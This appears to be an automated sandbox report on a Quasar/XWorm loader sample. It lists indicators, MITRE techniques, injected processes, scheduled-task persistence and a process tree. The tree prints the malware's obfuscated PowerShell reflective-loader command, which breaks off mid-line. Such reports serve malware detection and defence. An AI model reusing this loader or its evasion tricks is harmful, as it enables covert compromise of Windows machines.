quasar | 40c49ccfb00bd4ca02d587af4f03823650dde39b5fe31dcde8bbdc3fa508bea3

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 5 IoCs

pid	Process
3604	svchost.exe
4492	XWormLoader 5.2 x32.exe
396	Discord.exe
2336	install.exe
4616	install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
6	raw.githubusercontent.com
10	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77Discord.exe	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1612 set thread context of 2356	1612	powershell.EXE	99
PID 2688 set thread context of 4872	2688	powershell.EXE	115

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2388	4492	WerFault.exe	83
3332	3592	WerFault.exe	102
3792	3592	WerFault.exe	102

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4740	schtasks.exe
1044	SCHTASKS.exe
4480	schtasks.exe
1952	SCHTASKS.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={7133246C-BE95-441E-A4F9-31577D6A28C5}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 03 May 2024 17:49:32 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
976	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1612	powershell.EXE
1612	powershell.EXE
1612	powershell.EXE
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
396	Discord.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
3084	wmiprvse.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
396	Discord.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
396	Discord.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
396	Discord.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3604	svchost.exe
Token: SeDebugPrivilege	396	Discord.exe
Token: SeDebugPrivilege	1612	powershell.EXE
Token: SeDebugPrivilege	1612	powershell.EXE
Token: SeDebugPrivilege	2356	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2664	svchost.exe
Token: SeIncreaseQuotaPrivilege	2664	svchost.exe
Token: SeSecurityPrivilege	2664	svchost.exe
Token: SeTakeOwnershipPrivilege	2664	svchost.exe
Token: SeLoadDriverPrivilege	2664	svchost.exe
Token: SeSystemtimePrivilege	2664	svchost.exe
Token: SeBackupPrivilege	2664	svchost.exe
Token: SeRestorePrivilege	2664	svchost.exe
Token: SeShutdownPrivilege	2664	svchost.exe
Token: SeSystemEnvironmentPrivilege	2664	svchost.exe
Token: SeUndockPrivilege	2664	svchost.exe
Token: SeManageVolumePrivilege	2664	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2664	svchost.exe
Token: SeIncreaseQuotaPrivilege	2664	svchost.exe
Token: SeSecurityPrivilege	2664	svchost.exe
Token: SeTakeOwnershipPrivilege	2664	svchost.exe
Token: SeLoadDriverPrivilege	2664	svchost.exe
Token: SeSystemtimePrivilege	2664	svchost.exe
Token: SeBackupPrivilege	2664	svchost.exe
Token: SeRestorePrivilege	2664	svchost.exe
Token: SeShutdownPrivilege	2664	svchost.exe
Token: SeSystemEnvironmentPrivilege	2664	svchost.exe
Token: SeUndockPrivilege	2664	svchost.exe
Token: SeManageVolumePrivilege	2664	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2664	svchost.exe
Token: SeIncreaseQuotaPrivilege	2664	svchost.exe
Token: SeSecurityPrivilege	2664	svchost.exe
Token: SeTakeOwnershipPrivilege	2664	svchost.exe
Token: SeLoadDriverPrivilege	2664	svchost.exe
Token: SeSystemtimePrivilege	2664	svchost.exe
Token: SeBackupPrivilege	2664	svchost.exe
Token: SeRestorePrivilege	2664	svchost.exe
Token: SeShutdownPrivilege	2664	svchost.exe
Token: SeSystemEnvironmentPrivilege	2664	svchost.exe
Token: SeUndockPrivilege	2664	svchost.exe
Token: SeManageVolumePrivilege	2664	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2664	svchost.exe
Token: SeIncreaseQuotaPrivilege	2664	svchost.exe
Token: SeSecurityPrivilege	2664	svchost.exe
Token: SeTakeOwnershipPrivilege	2664	svchost.exe
Token: SeLoadDriverPrivilege	2664	svchost.exe
Token: SeSystemtimePrivilege	2664	svchost.exe
Token: SeBackupPrivilege	2664	svchost.exe
Token: SeRestorePrivilege	2664	svchost.exe
Token: SeShutdownPrivilege	2664	svchost.exe
Token: SeSystemEnvironmentPrivilege	2664	svchost.exe
Token: SeUndockPrivilege	2664	svchost.exe
Token: SeManageVolumePrivilege	2664	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2664	svchost.exe
Token: SeIncreaseQuotaPrivilege	2664	svchost.exe
Token: SeSecurityPrivilege	2664	svchost.exe
Token: SeTakeOwnershipPrivilege	2664	svchost.exe
Token: SeLoadDriverPrivilege	2664	svchost.exe
Token: SeSystemtimePrivilege	2664	svchost.exe
Token: SeBackupPrivilege	2664	svchost.exe
Token: SeRestorePrivilege	2664	svchost.exe
Token: SeShutdownPrivilege	2664	svchost.exe
Token: SeSystemEnvironmentPrivilege	2664	svchost.exe
Token: SeUndockPrivilege	2664	svchost.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
3340	Explorer.EXE
3884	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 3604	1368	XWormLoader 5.2 x64.exe	82
PID 1368 wrote to memory of 3604	1368	XWormLoader 5.2 x64.exe	82
PID 1368 wrote to memory of 3604	1368	XWormLoader 5.2 x64.exe	82
PID 1368 wrote to memory of 4492	1368	XWormLoader 5.2 x64.exe	83
PID 1368 wrote to memory of 4492	1368	XWormLoader 5.2 x64.exe	83
PID 1368 wrote to memory of 4492	1368	XWormLoader 5.2 x64.exe	83
PID 3604 wrote to memory of 4480	3604	svchost.exe	89
PID 3604 wrote to memory of 4480	3604	svchost.exe	89
PID 3604 wrote to memory of 4480	3604	svchost.exe	89
PID 3604 wrote to memory of 396	3604	svchost.exe	91
PID 3604 wrote to memory of 396	3604	svchost.exe	91
PID 3604 wrote to memory of 396	3604	svchost.exe	91
PID 3604 wrote to memory of 2336	3604	svchost.exe	92
PID 3604 wrote to memory of 2336	3604	svchost.exe	92
PID 3604 wrote to memory of 2336	3604	svchost.exe	92
PID 3604 wrote to memory of 1952	3604	svchost.exe	93
PID 3604 wrote to memory of 1952	3604	svchost.exe	93
PID 3604 wrote to memory of 1952	3604	svchost.exe	93
PID 396 wrote to memory of 4740	396	Discord.exe	97
PID 396 wrote to memory of 4740	396	Discord.exe	97
PID 396 wrote to memory of 4740	396	Discord.exe	97
PID 1612 wrote to memory of 2356	1612	powershell.EXE	99
PID 1612 wrote to memory of 2356	1612	powershell.EXE	99
PID 1612 wrote to memory of 2356	1612	powershell.EXE	99
PID 1612 wrote to memory of 2356	1612	powershell.EXE	99
PID 1612 wrote to memory of 2356	1612	powershell.EXE	99
PID 1612 wrote to memory of 2356	1612	powershell.EXE	99
PID 1612 wrote to memory of 2356	1612	powershell.EXE	99
PID 1612 wrote to memory of 2356	1612	powershell.EXE	99
PID 2356 wrote to memory of 640	2356	dllhost.exe	5
PID 2356 wrote to memory of 708	2356	dllhost.exe	7
PID 2356 wrote to memory of 996	2356	dllhost.exe	12
PID 2356 wrote to memory of 420	2356	dllhost.exe	13
PID 2356 wrote to memory of 456	2356	dllhost.exe	14
PID 2356 wrote to memory of 764	2356	dllhost.exe	15
PID 2356 wrote to memory of 1076	2356	dllhost.exe	16
PID 2356 wrote to memory of 1084	2356	dllhost.exe	17
PID 2356 wrote to memory of 1164	2356	dllhost.exe	18
PID 2356 wrote to memory of 1172	2356	dllhost.exe	19
PID 2356 wrote to memory of 1272	2356	dllhost.exe	21
PID 2356 wrote to memory of 1292	2356	dllhost.exe	22
PID 2356 wrote to memory of 1400	2356	dllhost.exe	23
PID 2356 wrote to memory of 1476	2356	dllhost.exe	24
PID 2356 wrote to memory of 1496	2356	dllhost.exe	25
PID 2356 wrote to memory of 1572	2356	dllhost.exe	26
PID 2356 wrote to memory of 1596	2356	dllhost.exe	27
PID 2356 wrote to memory of 1712	2356	dllhost.exe	28
PID 2356 wrote to memory of 1728	2356	dllhost.exe	29
PID 2356 wrote to memory of 1748	2356	dllhost.exe	30
PID 2356 wrote to memory of 1828	2356	dllhost.exe	31
PID 2356 wrote to memory of 1872	2356	dllhost.exe	32
PID 2356 wrote to memory of 1884	2356	dllhost.exe	33
PID 2356 wrote to memory of 1904	2356	dllhost.exe	34
PID 2356 wrote to memory of 2004	2356	dllhost.exe	35
PID 2356 wrote to memory of 1256	2356	dllhost.exe	36
PID 2356 wrote to memory of 2096	2356	dllhost.exe	37
PID 2356 wrote to memory of 2232	2356	dllhost.exe	39
PID 2356 wrote to memory of 2408	2356	dllhost.exe	40
PID 2356 wrote to memory of 2416	2356	dllhost.exe	41
PID 2356 wrote to memory of 2472	2356	dllhost.exe	42
PID 2356 wrote to memory of 2524	2356	dllhost.exe	43
PID 2356 wrote to memory of 2596	2356	dllhost.exe	44
PID 2356 wrote to memory of 2616	2356	dllhost.exe	45
PID 2356 wrote to memory of 2652	2356	dllhost.exe	46

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:420
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{9edf36f4-8ff6-4cd5-b545-07bbffea0ba1}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2356
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{70442150-baf2-4258-b143-d39f18318265}
  2⤵
  PID:4872

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:456

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XKnSftNraHzw{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wQRKUtcFbwhIsT,[Parameter(Position=1)][Type]$SGlyOqrFPf)$LaJSxrnlxpL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+''+'m'+''+'o'+'r'+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+'T'+'y'+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+[Char](97)+'s'+[Char](115)+','+'P'+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+',A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+'s'+'',[MulticastDelegate]);$LaJSxrnlxpL.DefineConstructor('R'+[Char](84)+'S'+'p'+''+[Char](101)+'c'+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$wQRKUtcFbwhIsT).SetImplementationFlags(''+'R'+''+'u'+'n'+'t'+''+'i'+''+'m'+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');$LaJSxrnlxpL.DefineMethod('I'+'n'+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+',H'+[Char](105)+'d'+[Char](101)+''+'B'+''+'y'+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+'S'+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+'u'+''+'a'+''+'l'+'',$SGlyOqrFPf,$wQRKUtcFbwhIsT).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+'i'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $LaJSxrnlxpL.CreateType();}$nuiIxRcZpRTVn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+'s'+''+'t'+''+'e'+'m.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+'o'+[Char](115)+''+'o'+'f'+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+'n'+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+'af'+[Char](101)+''+'N'+''+'a'+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+'e'+'t'+''+[Char](104)+''+'o'+'ds');$HCvJfvstKGVxzk=$nuiIxRcZpRTVn.GetMethod('Get'+[Char](80)+'r'+'o'+''+[Char](99)+''+'A'+''+[Char](100)+'d'+[Char](114)+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$yQmYBCNmLyMqauQBXbq=XKnSftNraHzw @([String])([IntPtr]);$dzigsBsmLSAhHhqNqxOrKv=XKnSftNraHzw 